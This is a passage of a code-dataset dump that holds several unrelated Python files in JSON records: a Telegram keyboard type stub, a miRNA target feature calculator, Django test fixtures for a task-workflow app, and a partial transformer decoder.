sorted(authorities, key=authority_sort_key)\n\n","sub_path":"citeurl/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":39712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"430417924","text":"from typing import List, Pattern, Union\n\nfrom pyrogram import InlineKeyboardButton, KeyboardButton\nfrom pyrogram.api.types import Message\nfrom pyrogram.api.types.messages import BotCallbackAnswer\nfrom pyrogram.client.filters.filter import Filter\nfrom tgintegration import InteractionClient, Response\n\n\nclass ReplyKeyboard:\n    _client: InteractionClient\n    _message_id: int\n    _peer_id: int\n    rows = List[List[KeyboardButton]]\n    num_buttons: int\n\n    def __init__(\n            self,\n            client: InteractionClient,\n            chat_id: int,\n            message_id: int,\n            button_rows: List[List[KeyboardButton]]\n    ): ...\n\n    def find_button(self, pattern: Pattern) -> Union[KeyboardButton, None]:\n        ...\n\n    def press_button(self, pattern: Pattern, quote: bool = False) -> Message:\n        ...\n\n    def press_button_await(\n            self,\n            pattern: Pattern,\n            filters: Filter = None,\n            num_expected: int = None,\n            raise_: bool = True,\n            quote=False,\n    ) -> Response:\n        ...\n\n\nclass InlineKeyboard:\n    _client: InteractionClient\n    _message_id: int\n    _peer_id: int\n    rows: List[List[InlineKeyboardButton]]\n    num_buttons: int\n\n    def __init__(\n            self,\n            client: InteractionClient,\n            chat_id: int,\n            message_id: int,\n            button_rows: List[List[InlineKeyboardButton]]\n    ):\n        ...\n\n    def find_button(self, pattern: Pattern = None, index: int = None) -> Union[InlineKeyboardButton, None]:\n        ...\n\n    def press_button(self, pattern: Pattern = None, index: int = None) -> BotCallbackAnswer:\n        ...\n\n    def press_button_await(\n            self,\n            pattern: Pattern = None,\n            index: int = None,\n            num_expected: int = None,\n            max_wait=8,\n            min_wait_consecutive=1.5,\n            raise_: bool = True,\n    ) -> Response:\n        ...\n\n    def __eq__(self, other: object) -> bool:\n        ...\n\n\nclass NoButtonFound(Exception):\n    pass\n","sub_path":"tgintegration/containers/keyboard.pyi","file_name":"keyboard.pyi","file_ext":"pyi","file_size_in_byte":2039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"341647921","text":"import bisect\nimport re\nimport os\nimport shlex\nimport subprocess\nimport sys\n\nimport numpy as np\nimport pandas as pd\n\nimport feature_helpers as feat\n\n\ndef calculate_all_features(gene, group, mirna_df, rnaplfold_temp, airs_subdf=None):\n    \"\"\"\n    Given a gene and a group of miRNAs with targets in that gene,\n        calculate all the features\n\n    Parameters\n    ----------\n    gene: string, name of gene\n\n    group: pandas DataFrame, site information\n\n    mirna_df: pandas DataFrame, miRNA information\n\n    Output\n    ------\n    list of lists: list of features for each miRNA\n    \"\"\"\n\n    if airs_subdf is not None:\n        airs_subdf = airs_subdf.sort_values('AIR start')\n        airs_subdf['AIR ratio'] /= 100\n        air_boundaries = list(airs_subdf['AIR end'].values)\n\n    # get gene-specific data\n    utr = group.iloc[0]['UTR sequence']\n    utr_bls = group.iloc[0]['UTR BLS']\n\n    # run RNAplfold\n    rnaplfold_data = feat.get_rnaplfold_data(gene, utr, rnaplfold_temp)\n\n    data = []\n    for row in group.iterrows():\n        seed, site_type, site_start, site_end = (row[1]['Seed'],\n                                                 row[1]['Site type'],\n                                                 row[1]['Site start'],\n                                                 row[1]['Site end'])\n\n        family, pct, conserved, bls = (row[1]['miRNA family'],\n                                       row[1]['PCT'],\n                                       row[1]['Conserved'],\n                                       row[1]['Branch length score'])\n\n        # get list of different miRNAs for a given seed\n        mirna_subdf = mirna_df.loc[[family]]\n        mirnas = list(mirna_subdf['miRNA sequence'])\n        mirbases = list(mirna_subdf['Mirbase ID'])\n        num_mirnas = len(mirnas)\n\n        # calculate offset 6mer counts\n        rc_seed = feat.rev_comp(seed)\n        off6 = rc_seed[:-1]\n\n        # find where offset 6mer locations are\n        off6m_locs_total = [m.start() for m in re.finditer(off6, utr)]\n\n        # find other site locations, so we can eliminate cases where the\n        # offset 6mer is a subsite of a larger site\n        off6mer_locs_overlaps = [m.start() for m in re.finditer(rc_seed, utr)]\n\n        # find the difference in these two sets\n        off6m_locs = list(set(off6m_locs_total) - set(off6mer_locs_overlaps))\n\n        # features that depend on rest of miRNA\n        three_p_scores = [feat.calculate_threep_score(mirna, utr,\n                                                      site_type, site_start)\n                          for mirna in mirnas]\n        mirna1As, mirna1Cs, mirna1Gs = zip(*[[int(mirna[0] == nt)\n                                              for nt in ['A', 'C', 'G']]\n                                             for mirna in mirnas])\n\n        # only depends on seed and site\n        local_au_score = feat.calculate_local_au(utr, site_type,\n                                                 site_start, site_end)\n\n        # if no airs_subdf given, calculate these features for whole UTR\n        if airs_subdf is None:\n            utr_length = len(utr)\n            min_dist_score = np.log10(min(site_start, utr_length - site_end + 1))\n            utr_length_score = np.log10(utr_length)\n            off6mer_score = np.log10(len(off6m_locs) + 1)\n            this_site_air = 1.0\n        else:\n            min_dist_score = feat.calculate_min_dist_withAIRs(site_start,\n                                                     site_end,\n                                                     airs_subdf)\n\n            utr_length_score = feat.calculate_weighted_utr_length_withAIRs(site_end,\n                                                                  airs_subdf)\n\n            off6mer_score = feat.calculate_weighted_num_off6mers_withAIRs(off6m_locs,\n                                                                 site_end,\n                                                                 airs_subdf)\n            air_bin = bisect.bisect_left(air_boundaries, site_end)\n            this_site_air = airs_subdf.iloc[air_bin]['AIR ratio']\n\n        mirna8A, mirna8C, mirna8G = tuple([int(seed[-1] == nt)\n                                           for nt in ['A', 'C', 'G']])\n\n        site8A, site8C, site8G = tuple([int(utr[site_start-1] == nt)\n                                        if site_type in ['6mer', '7mer-1a']\n                                        else 0 for nt in ['A', 'C', 'G']])\n\n        # use the rnaplfold data to calculate the site accessibility\n        site_start_for_SA = site_start - int(site_type in ['6mer', '7mer-1a'])\n        if (site_start_for_SA + 8) not in rnaplfold_data.index:\n            sa_score = 0\n        else:\n            raw_sa_score = rnaplfold_data.loc[site_start_for_SA + 8]['14']\n            if raw_sa_score <= 0:\n                sa_score = 0\n            else:\n                sa_score = np.log10(raw_sa_score)\n\n        zipped = zip(three_p_scores, mirnas, mirbases,\n                     mirna1As, mirna1Cs, mirna1Gs)\n\n        combined = [[gene, family, mirbase, mirna, seed,\n                     site_type, site_start, site_end,\n                     three_p_score, local_au_score, min_dist_score,\n                     utr_length_score, off6mer_score, sa_score,\n                     mirna1A, mirna1C, mirna1G, mirna8A, mirna8C, mirna8G,\n                     site8A, site8C, site8G, pct, conserved, bls, utr_bls, this_site_air]\n                    for (three_p_score, mirna, mirbase,\n                         mirna1A, mirna1C, mirna1G)\n                    in zipped]\n\n        data += combined\n\n    return data\n","sub_path":"calculate_features/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":5591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"488163842","text":"from copy import deepcopy\nfrom dateutil.parser import parse\nfrom unittest.mock import patch\n\nimport factory\nfrom django.contrib.auth.models import User\nfrom django.test import Client\nfrom django.test import override_settings\n\nfrom orchestra.models import Task\nfrom orchestra.models import TaskAssignment\nfrom orchestra.models import WorkerCertification\nfrom orchestra.models import Workflow\nfrom orchestra.models import Step\nfrom orchestra.models import WorkflowVersion\nfrom orchestra.slack import create_project_slack_group\nfrom orchestra.utils.task_lifecycle import assign_task\nfrom orchestra.utils.task_lifecycle import submit_task\nfrom orchestra.utils.task_properties import assignment_history\nfrom orchestra.tests.helpers.workflow import workflow_fixtures\nfrom orchestra.workflow.defaults import get_default_assignment_policy\nfrom orchestra.workflow.defaults import get_default_review_policy\n\n\nclass WorkflowFactory(factory.django.DjangoModelFactory):\n\n    class Meta:\n        model = Workflow\n\n\nclass WorkflowVersionFactory(factory.django.DjangoModelFactory):\n\n    class Meta:\n        model = WorkflowVersion\n\n\nclass StepFactory(factory.django.DjangoModelFactory):\n\n    class Meta:\n        model = Step\n\n\nclass UserFactory(factory.django.DjangoModelFactory):\n\n    class Meta:\n        model = User\n\n    password = factory.PostGenerationMethodCall('set_password',\n                                                'defaultpassword')\n\n\nclass WorkerFactory(factory.django.DjangoModelFactory):\n\n    class Meta:\n        model = 'orchestra.Worker'\n\n\nclass CertificationFactory(factory.django.DjangoModelFactory):\n\n    class Meta:\n        model = 'orchestra.Certification'\n\n\nclass WorkerCertificationFactory(factory.django.DjangoModelFactory):\n\n    class Meta:\n        model = 'orchestra.WorkerCertification'\n\n    task_class = WorkerCertification.TaskClass.REAL\n\n\nclass ProjectFactory(factory.django.DjangoModelFactory):\n\n    class Meta:\n        model = 'orchestra.Project'\n\n    short_description = factory.Sequence(\n        lambda n: 'Project {}'.format(n))\n    priority = 0\n    task_class = WorkerCertification.TaskClass.REAL\n\n\nclass TaskFactory(factory.django.DjangoModelFactory):\n\n    class Meta:\n        model = 'orchestra.Task'\n\n\nclass TaskAssignmentFactory(factory.django.DjangoModelFactory):\n\n    class Meta:\n        model = 'orchestra.TaskAssignment'\n\n    status = TaskAssignment.Status.PROCESSING\n    snapshots = {}\n\n\n@override_settings(SLACK_EXPERTS=True)\ndef setup_models(test_case):\n    \"\"\" Set up models that we'll use in multiple tests \"\"\"\n\n    # Workflow generation data\n    workflows = workflow_fixtures\n\n    # Worker generation data\n    workers = {\n        0: [\n            ('certification1', WorkerCertification.Role.ENTRY_LEVEL),\n            ('certification1_ap', WorkerCertification.Role.ENTRY_LEVEL),\n        ],\n        1: [\n            ('certification1', WorkerCertification.Role.ENTRY_LEVEL),\n            ('certification1', WorkerCertification.Role.REVIEWER),\n            ('certification1_ap', WorkerCertification.Role.ENTRY_LEVEL),\n            ('certification1_ap', WorkerCertification.Role.REVIEWER),\n        ],\n        2: [],\n        3: [\n            ('certification1', WorkerCertification.Role.ENTRY_LEVEL),\n            ('certification1', WorkerCertification.Role.REVIEWER),\n            ('certification1_ap', WorkerCertification.Role.ENTRY_LEVEL),\n            ('certification1_ap', WorkerCertification.Role.REVIEWER),\n        ],\n        4: [\n            ('certification1', WorkerCertification.Role.ENTRY_LEVEL),\n            ('certification2', WorkerCertification.Role.ENTRY_LEVEL),\n            ('certification1_ap', WorkerCertification.Role.ENTRY_LEVEL),\n            ('certification2_ap', WorkerCertification.Role.ENTRY_LEVEL),\n        ],\n        5: [\n            ('certification1', WorkerCertification.Role.ENTRY_LEVEL),\n            ('certification2', WorkerCertification.Role.ENTRY_LEVEL),\n            ('certification2', WorkerCertification.Role.REVIEWER),\n            ('certification1_ap', WorkerCertification.Role.ENTRY_LEVEL),\n            ('certification2_ap', WorkerCertification.Role.ENTRY_LEVEL),\n            ('certification2_ap', WorkerCertification.Role.REVIEWER),\n        ],\n        6: [\n            ('certification1', WorkerCertification.Role.ENTRY_LEVEL),\n            ('certification1', WorkerCertification.Role.REVIEWER),\n            ('certification2', WorkerCertification.Role.ENTRY_LEVEL),\n            ('certification2', WorkerCertification.Role.REVIEWER),\n            ('certification1_ap', WorkerCertification.Role.ENTRY_LEVEL),\n            ('certification1_ap', WorkerCertification.Role.REVIEWER),\n            ('certification2_ap', WorkerCertification.Role.ENTRY_LEVEL),\n            ('certification2_ap', WorkerCertification.Role.REVIEWER),\n        ],\n        7: [\n            ('certification1', WorkerCertification.Role.ENTRY_LEVEL),\n            ('certification1', WorkerCertification.Role.REVIEWER),\n            ('certification1_ap', WorkerCertification.Role.ENTRY_LEVEL),\n            ('certification1_ap', WorkerCertification.Role.REVIEWER),\n        ],\n        8: [\n            ('certification1', WorkerCertification.Role.ENTRY_LEVEL),\n            ('certification1', WorkerCertification.Role.REVIEWER),\n            ('certification1_ap', WorkerCertification.Role.ENTRY_LEVEL),\n            ('certification1_ap', WorkerCertification.Role.REVIEWER),\n        ]\n    }\n\n    # Project generation data\n    projects = {\n        'empty_project': 'test_workflow',\n        'base_test_project': 'test_workflow',\n        'test_human_and_machine': 'test_workflow_2',\n        'no_task_assignments': 'test_workflow',\n        'reject_entry_proj': 'test_workflow',\n        'reject_rev_proj': 'test_workflow',\n        'aborted_project': 'test_workflow',\n        'project_to_end': 'test_workflow',\n        'assignment_policy': 'assignment_policy_workflow',\n        'project_management_project': 'test_workflow',\n    }\n\n    # Task generation data\n    test_case.test_version_slug = 'test_workflow'\n    test_case.test_step_slug = 'step1'\n    test_data = {'test_key': 'test_value'}\n    tasks = {\n        'review_task': {\n            'project_name': 'base_test_project',\n            'status': Task.Status.PENDING_REVIEW,\n            'assignments': [\n                (0, test_data, TaskAssignment.Status.SUBMITTED)\n            ],\n        },\n        'awaiting_processing': {\n            'project_name': 'no_task_assignments',\n            'status': Task.Status.AWAITING_PROCESSING,\n            'assignments': []\n        },\n        'rejected_entry': {\n            'project_name': 'reject_entry_proj',\n            'status': Task.Status.POST_REVIEW_PROCESSING,\n            'assignments': [\n                (4, test_data, TaskAssignment.Status.PROCESSING),\n                (6, {}, TaskAssignment.Status.SUBMITTED)\n            ]\n        },\n        'rejected_review': {\n            'project_name': 'reject_rev_proj',\n            'status': Task.Status.POST_REVIEW_PROCESSING,\n            'assignments': [\n                (5, {}, TaskAssignment.Status.SUBMITTED),\n                (6, test_data, TaskAssignment.Status.PROCESSING),\n                (7, {}, TaskAssignment.Status.SUBMITTED)\n            ]\n        },\n        'project_management_task': {\n            'project_name': 'project_management_project',\n            'status': Task.Status.POST_REVIEW_PROCESSING,\n            'assignments': [\n                (5, {}, TaskAssignment.Status.SUBMITTED),\n                (6, test_data, TaskAssignment.Status.PROCESSING),\n                (7, {}, TaskAssignment.Status.SUBMITTED)\n            ]\n        },\n        'aborted': {\n            'project_name': 'aborted_project',\n            'status': Task.Status.ABORTED,\n            'assignments': [\n                (4, test_data, TaskAssignment.Status.PROCESSING)\n            ]\n        },\n        'to_be_ended_1': {\n            'project_name': 'project_to_end',\n            'status': Task.Status.POST_REVIEW_PROCESSING,\n            'assignments': [\n                (5, {}, TaskAssignment.Status.SUBMITTED),\n                (6, test_data, TaskAssignment.Status.PROCESSING),\n                (7, {}, TaskAssignment.Status.SUBMITTED)\n            ]\n        },\n        'to_be_ended_2': {\n            'project_name': 'project_to_end',\n            'status': Task.Status.PROCESSING,\n            'assignments': [\n                (4, test_data, TaskAssignment.Status.SUBMITTED)\n            ]\n        },\n    }\n\n    # Create the objects\n    _setup_workflows(test_case, workflows)\n    _setup_workers(test_case, workers)\n    _setup_projects(test_case, projects)\n    _setup_tasks(test_case, tasks)\n\n\ndef _setup_workflows(test_case, workflows):\n    # Create workflows\n    test_case.workflows = {}\n    test_case.certifications = {}\n    test_case.workflow_versions = {}\n    test_case.workflow_steps = {}\n    for workflow_idx, workflow_details in enumerate(workflows):\n        workflow = WorkflowFactory(\n            slug=workflow_details['slug'],\n            name=workflow_details['name'],\n            code_directory='/test/dir/{}'.format(workflow_idx),\n        )\n        test_case.workflows[workflow_details['slug']] = workflow\n\n        # Create certifications and dependencies\n        for cert_details in workflow_details.get('certifications', []):\n            certification = CertificationFactory(\n                slug=cert_details['slug'],\n                name=cert_details['name'],\n                workflow=workflow,\n            )\n            test_case.certifications[cert_details['slug']] = certification\n\n            for required_slug in cert_details['required_certifications']:\n                certification.required_certifications.add(\n                    test_case.certifications[required_slug])\n\n        # Create workflow versions\n        for version_details in workflow_details['versions']:\n            version = WorkflowVersionFactory(\n                workflow=workflow,\n                slug=version_details['slug'],\n                name=version_details['name'],\n                description=version_details['description'],\n            )\n            test_case.workflow_versions[version_details['slug']] = version\n\n            # Create workflow steps\n            test_case.workflow_steps[version.slug] = {}\n            workflow_steps = test_case.workflow_steps[version.slug]\n            workflow_step_backrefs = []\n            for step_details in version_details['steps']:\n                is_human = step_details['is_human']\n                step = StepFactory(\n                    workflow_version=version,\n                    slug=step_details['slug'],\n                    name=step_details['name'],\n                    is_human=is_human,\n                    description=step_details.get('description', ''),\n\n                    # TODO(dhaas): make default policies work\n                    review_policy=step_details.get(\n                        'review_policy',\n                        get_default_review_policy(is_human)\n                    ),\n                    assignment_policy=step_details.get(\n                        'assignment_policy',\n                        get_default_assignment_policy(is_human)\n                    ),\n                    user_interface=step_details.get('user_interface', {}),\n                    execution_function=step_details.get('execution_function',\n                                                        {}),\n                )\n                workflow_steps[step.slug] = step\n\n                # Add required certifications\n                for required_slug in step_details.get(\n                        'required_certifications', []):\n                    step.required_certifications.add(\n                        test_case.certifications[required_slug])\n\n                # Add step dependencies\n                workflow_step_backrefs.extend(\n                    _add_step_dependencies(\n                        step_details, workflow_steps, 'creation_depends_on'))\n                workflow_step_backrefs.extend(\n                    _add_step_dependencies(\n                        step_details, workflow_steps, 'submission_depends_on'))\n\n            # Create backreferences we missed\n            _create_backrefs(test_case.workflow_steps[version.slug],\n                             workflow_step_backrefs)\n\n\ndef _add_step_dependencies(step_dict, existing_workflow_steps, attr):\n    backrefs = []\n    step = existing_workflow_steps.get(step_dict['slug'])\n    for dependent_slug in step_dict.get(attr, []):\n        dependent_step = existing_workflow_steps.get(dependent_slug)\n\n        # Some workflow fixtures have intentional step cycles, so\n        # we create the backward references later.\n        if not dependent_step:\n            backrefs.append({\n                'attr': attr,\n                'step': step,\n                'ref': dependent_slug,\n            })\n            continue\n\n        getattr(step, attr).add(dependent_step)\n    return backrefs\n\n\ndef _create_backrefs(workflow_steps, backrefs):\n    for backref in backrefs:\n        dependency = workflow_steps[backref['ref']]\n        getattr(backref['step'], backref['attr']).add(dependency)\n\n\ndef _setup_workers(test_case, workers):\n    # Create and certify workers\n    test_case.workers = {}\n    test_case.clients = {}\n    for user_id, certifications in workers.items():\n        # Create user, worker, client\n        user = (UserFactory(username='test_user_{}'.format(user_id),\n                            first_name='test_first_{}'.format(user_id),\n                            last_name='test_last_{}'.format(user_id),\n                            password='test_{}'.format(user_id),\n                            email='test_user_{}@test.com'.format(user_id)))\n        test_case.workers[user_id] = WorkerFactory(user=user)\n        test_case.clients[user_id] = Client()\n        test_case.clients[user_id].login(\n            username='test_user_{}'.format(user_id),\n            password='test_{}'.format(user_id))\n\n        # Assign certifications\n        for slug, role in certifications:\n            WorkerCertificationFactory(\n                certification=test_case.certifications[slug],\n                worker=test_case.workers[user_id],\n                role=role)\n\n\ndef _setup_projects(test_case, projects):\n    # Create projects\n    test_case.projects = {}\n    for name, workflow_slug in projects.items():\n        test_case.projects[name] = ProjectFactory(\n            start_datetime=parse('2015-10-12T00:00:00+00:00'),\n            workflow_version=test_case.workflow_versions[workflow_slug])\n        create_project_slack_group(test_case.projects[name])\n\n\ndef _setup_tasks(test_case, tasks):\n    # Create and assign tasks\n    test_case.tasks = {}\n    test_case.test_step = test_case.workflow_steps[\n        test_case.test_version_slug][test_case.test_step_slug]\n    for task_slug, details in tasks.items():\n        task = TaskFactory(\n            project=test_case.projects[details['project_name']],\n            step=test_case.test_step,\n            status=details['status'],\n            start_datetime=parse('2015-10-12T01:00:00+00:00'),\n        )\n        test_case.tasks[task_slug] = task\n        for i, (user_id,\n                task_data,\n                assignment_status) in enumerate(details['assignments']):\n            TaskAssignmentFactory(\n                worker=test_case.workers[user_id],\n                task=task,\n                status=assignment_status,\n                assignment_counter=i,\n                in_progress_task_data=task_data,\n                start_datetime=parse(\n                    '2015-10-12T0{}:00:00+00:00'.format(2 + i)))\n\n\ndef setup_task_history(test):\n    task = test.tasks['rejected_review']\n\n    test._submit_assignment(\n        test.clients[6], task.id, seconds=35)\n    test._submit_assignment(\n        test.clients[7], task.id, command='reject', seconds=36)\n    test._submit_assignment(\n        test.clients[6], task.id, seconds=37)\n    test._submit_assignment(\n        test.clients[7], task.id, command='accept', seconds=38)\n\n    # Fill out the snapshots for all assignments\n    assignments = assignment_history(task)\n    first_assignment = assignments[0]\n    second_assignment = assignments[1]\n    third_assignment = assignments[2]\n\n    first_assignment.snapshots['snapshots'] = deepcopy(\n        second_assignment.snapshots['snapshots'])\n    second_assignment.snapshots['snapshots'] = (\n        deepcopy(third_assignment.snapshots['snapshots']) +\n        second_assignment.snapshots['snapshots'])[:-1]\n\n    def fix_datetimes(snapshots, new_datetimes):\n        for snapshot, new_datetime in zip(snapshots, new_datetimes):\n            snapshot['datetime'] = new_datetime\n\n    # Explicitly set the iteration datetimes.  If we didn't, the timestamps\n    # would be `datetime.now`, which we can't test against.  The explicitly set\n    # times are predictable distance apart, so we can test the\n    # resulting latency reports.\n    fix_datetimes(\n        first_assignment.snapshots['snapshots'],\n        ['2015-10-12T02:02:00+00:00', '2015-10-12T03:05:00+00:00'])\n    fix_datetimes(\n        second_assignment.snapshots['snapshots'],\n        ['2015-10-12T03:01:00+00:00', '2015-10-12T03:07:00+00:00',\n         '2015-10-12T04:03:00+00:00', '2015-10-12T04:10:00+00:00'])\n    fix_datetimes(\n        third_assignment.snapshots['snapshots'],\n        ['2015-10-12T04:02:00+00:00', '2015-10-12T04:13:00+00:00'])\n\n    first_assignment.save()\n    second_assignment.save()\n    third_assignment.save()\n\n    return task\n\n\ndef setup_complete_task(test_case, times):\n    task = TaskFactory(\n        project=test_case.projects['empty_project'],\n        status=Task.Status.AWAITING_PROCESSING,\n        step=test_case.test_step,\n        start_datetime=times['awaiting_pickup'])\n\n    workers = {\n        'entry': test_case.workers[0],\n        'reviewer': test_case.workers[1]\n    }\n\n    assign_task(workers['entry'].id, task.id)\n    entry_assignment = task.assignments.get(worker=workers['entry'])\n    # Modify assignment with correct datetime\n    entry_assignment.start_datetime = times['entry_pickup']\n    entry_assignment.save()\n\n    task.refresh_from_db()\n    test_case.assertEquals(task.status, Task.Status.PROCESSING)\n\n    submit_task(\n        task.id, {'test': 'entry_submit'},\n        TaskAssignment.SnapshotType.SUBMIT,\n        workers['entry'], 0)\n\n    task.refresh_from_db()\n    test_case.assertEquals(task.status, Task.Status.PENDING_REVIEW)\n\n    # Modify snapshot with correct datetime\n    entry_assignment.refresh_from_db()\n    (entry_assignment.snapshots\n        ['snapshots'][0]['datetime']) = times['entry_submit']\n    entry_assignment.save()\n\n    assign_task(workers['reviewer'].id, task.id)\n    reviewer_assignment = task.assignments.get(\n        worker=workers['reviewer'])\n    # Modify assignment with correct datetime\n    reviewer_assignment.start_datetime = times['reviewer_pickup']\n    reviewer_assignment.save()\n\n    task.refresh_from_db()\n    test_case.assertEquals(task.status, Task.Status.REVIEWING)\n\n    submit_task(\n        task.id, {'test': 'reviewer_reject'},\n        TaskAssignment.SnapshotType.REJECT,\n        workers['reviewer'], 0)\n    # Modify snapshot with correct datetime\n    reviewer_assignment.refresh_from_db()\n    (reviewer_assignment.snapshots\n        ['snapshots'][0]['datetime']) = times['reviewer_reject']\n    reviewer_assignment.save()\n\n    task.refresh_from_db()\n    test_case.assertEquals(task.status, Task.Status.POST_REVIEW_PROCESSING)\n\n    submit_task(\n        task.id, {'test': 'entry_resubmit'},\n        TaskAssignment.SnapshotType.SUBMIT,\n        workers['entry'], 0)\n    # Modify snapshot with correct datetime\n    entry_assignment.refresh_from_db()\n    (entry_assignment.snapshots\n        ['snapshots'][1]['datetime']) = times['entry_resubmit']\n    entry_assignment.save()\n\n    task.refresh_from_db()\n    test_case.assertEquals(task.status, Task.Status.REVIEWING)\n\n    with patch('orchestra.utils.task_lifecycle._is_review_needed',\n               return_value=False):\n        submit_task(\n            task.id, {'test': 'reviewer_accept'},\n            TaskAssignment.SnapshotType.ACCEPT,\n            workers['reviewer'], 0)\n\n    # Modify snapshot with correct datetime\n    reviewer_assignment.refresh_from_db()\n    (reviewer_assignment.snapshots\n        ['snapshots'][1]['datetime']) = times['reviewer_accept']\n    reviewer_assignment.save()\n\n    task.refresh_from_db()\n    test_case.assertEquals(task.status, Task.Status.COMPLETE)\n    test_case.assertEquals(task.assignments.count(), 2)\n    for assignment in task.assignments.all():\n        test_case.assertEquals(\n            assignment.status, TaskAssignment.Status.SUBMITTED)\n        test_case.assertEquals(len(assignment.snapshots['snapshots']), 2)\n    return task\n","sub_path":"orchestra/tests/helpers/fixtures.py","file_name":"fixtures.py","file_ext":"py","file_size_in_byte":20746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"41997261","text":"import torch\nimport torch.nn as nn\n\nfrom nslt.models.decoders.base_decoder import BaseDecoder\nfrom nslt.models.attentions.multi_headed_attention import MultiHeadedAttention\nfrom nslt.models.modules.position_ffn import PositionwiseFeedForward\nfrom nslt.utils.utils import sequence_mask\n\nclass TransformerDecoderLayer(nn.Module):\n    def __init__(self, d_model,\n                       heads,\n                       d_ff,\n                       dropout,\n                       attn_dropout,\n                       self_attn_type=\"scaled-dot\",\n                       max_relative_positions=0,\n                       aan_useffn=False):\n        super(TransformerDecoderLayer, self).__init__()\n\n        if self_attn_type == \"scaled-dot\":\n            self.self_attn = MultiHeadedAttention(heads,\n                                                  d_model,\n                                                  dropout=dropout,\n                                                  max_relative_positions=max_relative_positions)\n        elif self_attn_type == \"average\":\n            self.self_attn = AverageAttention(d_model,\n                                              dropout=attn_dropout,\n                                              aan_useffn=aan_useffn)\n\n        self.context_attn = MultiHeadedAttention(heads,\n                                                 d_model,\n                                                 dropout=attn_dropout)\n        self.feed_forward = PositionwiseFeedForward(d_model, d_ff, dropout)\n        self.layer_norm_1 = nn.LayerNorm(d_model, eps=1e-6)\n        self.layer_norm_2 = nn.LayerNorm(d_model, eps=1e-6)\n        self.drop = nn.Dropout(dropout)\n\n    def forward(self, inputs, memory_bank, src_pad_mask, tgt_pad_mask, layer_cache=None, step=None):\n        dec_mask = None\n        if step is None:\n            tgt_len = tgt_pad_mask.size(-1)\n            future_mask = torch.ones([tgt_len, tgt_len],\n                                     device=tgt_pad_mask.device,\n                                     dtype=torch.uint8)\n            future_mask = future_mask.triu_(1).view(1, tgt_len, tgt_len)\n            try:\n                future_mask = future_mask.bool()\n            except AttributeError:\n                pass\n            dec_mask = torch.gt(tgt_pad_mask + future_mask, 0)\n            \n        input_norm = self.layer_norm_1(inputs)\n               \n        if isinstance(self.self_attn, MultiHeadedAttention):\n            query, attn = self.self_attn(input_norm, input_norm, input_norm,\n                                         mask=dec_mask,\n                                         layer_cache=layer_cache,\n                                         attn_type=\"self\")\n        elif isinstance(self.self_attn, AverageAttention):\n            query, attn = self.self_attn(input_norm,\n                                         mask=dec_mask,\n                                         layer_cache=layer_cache,\n                                         step=step)\n\n        query = self.drop(query) + inputs\n        \n        query_norm = self.layer_norm_2(query)\n        mid, attn = self.context_attn(memory_bank, memory_bank, query_norm,\n                                      mask=src_pad_mask,\n                                      layer_cache=layer_cache,\n                                      attn_type=\"context\")\n        output = self.feed_forward(self.drop(mid) + query)\n        return output, attn\n\n    def update_dropout(self, dropout, attn_dropout):\n        raise NotImplementedError\n\nclass TransformerDecoder(BaseDecoder):\n    def __init__(self, num_layers,\n                       d_model,\n                       heads,\n                       d_ff,\n                       copy_attn,\n                       self_attn_type,\n                       dropout,\n                       attn_dropout,\n                       embedding,\n                       pos_encoding,\n                       max_relative_positions,\n                       aan_useffn):\n        super(TransformerDecoder, self).__init__()\n\n        self.embedding = embedding\n        self.pos_encoding = pos_encoding\n\n        self.state = {}\n\n        self.transformer_layers = nn.ModuleList(\n            [TransformerDecoderLayer(d_model,\n                                     heads,\n                                     d_ff,\n                                     dropout,\n                                     attn_dropout,\n                                     self_attn_type=self_attn_type,\n                                     max_relative_positions=max_relative_positions,\n                                     aan_useffn=aan_useffn)\n            for i in range(num_layers)])\n        \n        self._copy = copy_attn\n        self.layer_norm = nn.LayerNorm(d_model, eps=1e-6)\n\n    @classmethod\n    def from_config(cls, config, embedding, pos_encoding):\n        return cls(config.num_dec_layers,\n                   config.dec_hidden_size,\n                   config.heads,\n                   config.transformer_ff,\n                   config.copy_attn,\n                   config.self_attn_type,\n                   config.dropout,\n                   config.attn_dropout,\n                   embedding,\n                   pos_encoding,\n                   config.max_relative_positions,\n                   config.aan_useffn) \n\n    def init_state(self, src, enc_outputs, enc_state):\n        self.state[\"src\"] = src\n        self.state[\"cache\"] = None\n\n    def detach_state(self):\n        self.state[\"src\"] = self.state[\"src\"].detach()\n\n    def map_state(self, fn):\n        def _recursive_map(struct, batch_dim=0):\n            for k, v in struct.items():\n                if v is not None:\n                    if isinstance(v, dict):\n                        _recursive_map(v)\n                    else:\n                        struct[k] = fn(v, batch_dim)\n\n        self.state[\"src\"] = fn(self.state[\"src\"], 1)\n        if self.state[\"cache\"] is not None:\n            _revursive_map(self.state[\"cache\"])\n\n    def forward(self, tgt_inputs, memory_bank, step=None, **kwargs):\n        if step == 0:\n            self._init_cache(enc_outputs)\n\n        tgt_words = tgt_inputs[:, :].transpose(0, 1)\n        \n        emb = self.embedding(tgt_inputs)\n        emb = self.pos_encoding(emb, step=step)\n        assert emb.dim() == 3\n\n        output = emb.transpose(0, 1).contiguous()\n        src_memory_bank = memory_bank.transpose(0, 1).contiguous()\n\n        pad_idx = self.embedding.padding_idx\n        src_lens = kwargs[\"src_lengths\"]\n        src_max_len = self.state[\"src\"].shape[0]\n        src_pad_mask = ~ sequence_mask(src_lens, src_max_len).unsqueeze(1)\n        tgt_pad_mask = tgt_words.data.eq(pad_idx).unsqueeze(1)\n\n        for i, layer in enumerate(self.transformer_layers):\n            layer_cache = self.state[\"cache\"][\"layer_{}\".format(i)] \\\n                          if step is not None else None\n            output, attn = layer(output,\n                                 src_memory_bank,\n                                 src_pad_mask,\n                                 tgt_pad_mask,\n                                 layer_cache=layer_cache,\n                                 step=step)\n\n        output = self.layer_norm(output)\n        dec_outputs = output.transpose(0, 1).contiguous()\n        attn = attn.transpose(0, 1).contiguous()\n\n        attns = {\"std\": attn}\n        if self._copy:\n            attns[\"copy\"] = attn\n\n        return dec_outputs, attns\n\n    def _init_cache(self, enc_outputs):\n        self.state[\"cache\"] = {}\n        batch_size = enc_outputs.size(1)\n        depth = enc_outputs.size(-1)\n\n        for 